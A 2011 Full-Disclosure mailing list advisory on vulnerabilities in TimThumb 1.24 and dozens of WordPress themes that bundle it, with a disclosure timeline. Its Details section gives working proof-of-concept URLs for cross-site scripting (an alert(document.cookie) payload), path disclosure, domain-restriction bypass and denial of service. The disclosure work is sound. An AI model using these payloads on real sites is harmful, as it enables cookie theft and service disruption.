[Full-disclosure] Vulnerabilities in TimThumb and multiple themes for WordPress

["MustLive" <mustlive@xxxxxxxxxxxxxxxxxx>]

Hello list!

I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse
of Functionality and Denial of Service vulnerabilities in TimThumb and
multiple themes for WordPress.

-------------------------
Affected products:
-------------------------

Vulnerable are TimThumb and all web applications (particularly themes for
WordPress) which are using it. It's such themes as Live Wire Edition, The
Gazette Edition, Live Wire 2.0 and Live Wire Style.

And also the next commercial themes (by WooThemes): Bookclub, Fresh News,
BoldNews, Placeholder, Biznizz, Auld, Listings, Elefolio, Chapters,
Continuum, Diner, Skeptical, Caffeinated, Crisp, Sealight, Unite, Estate,
The Morning After, Coda, Inspire, Apz, Spectrum, Diarise, Boast, Retreat,
City Guide, Cinch, Slanted, Canvas, Postcard, Delegate, MyStream, Optimize,
Backstage, SophisticatedFolio, Bueno, Digital Farm, Headlines, f0101,
Royalle, Exposure, Therapy, Rockstar, Daily Edition, Object, Antisocial,
Coffee Break, Mortar, Big Easy, Mainstream, Groovy Photo, Groovy Blog,
Feature Pitch, Suit and Tie, The Journal, myweblog, Aperture,
Meta-Morphosis, Bloggingstream, The Station, Groovy Video, Productum,
Newsport, Irresistible, Cushy, WooTube, Foreword Thinking, Geometric,
Abstract, Busy Bee, BlogTheme, Gotham News, THiCK, Typebased, Over Easy,
Ambience, Snapshot, Open Air, Fresh Folio, Papercut, ProudFolio, VibrantCMS,
Flash News, NewsPress, The Original Premium News and other themes for WP.
Vulnerabilities in these themes are similar to holes in above-mentioned
themes.

Vulnerable are TimThumb 1.24 and previous versions (and themes for WP with
these versions). XSS is possible only in old versions of the program. In
versions before 1.22 the AoF is possible even with turned on domain
restriction via using of bypass technique. Also it's possible to conduct DoS
attacks, if large file is placed at the same site with php-script or at
allowed domain. Or if external sites are allowed in the script, then it's
possible to conduct AoF and DoS attacks. In version TimThumb 1.25 the
vulnerabilities were mostly fixed.

----------
Details:
----------

XSS (WASC-08):

http://site/path/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://site/path/thumb.php?src=http://

http://site/path/thumb.php?src=http://site/page.png&h=1&w=1111111

http://site/path/thumb.php?src=http://site/page.png&h=1111111&w=1

Abuse of Functionality (WASC-42):

http://site/path/thumb.php?src=http://site&h=1&w=1

http://site/path/thumb.php?src=http://site.google.com&h=1&w=1 (bypass of
domain restriction, if such restriction is turned on)

DoS (WASC-10):

http://site/path/thumb.php?src=http://site/big_file&h=1&w=1

About such AoF and DoS vulnerabilities I wrote in article Using of the sites
for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).

------------
Timeline:
------------

2011.02.01 - informed developers from WooThemes about holes in their themes.
2011.02.04-12 - conversation about fixing holes in all their themes for WP.
2011.02.07 - announced at my site.
2011.02.08 - informed developer of TimThumb.
2011.02.13 - developer of TimThumb released version 1.25.
2011.02.13 - developers from WooThemes begun updating TimThumb in all their
themes.
2011.04.13 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4910/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/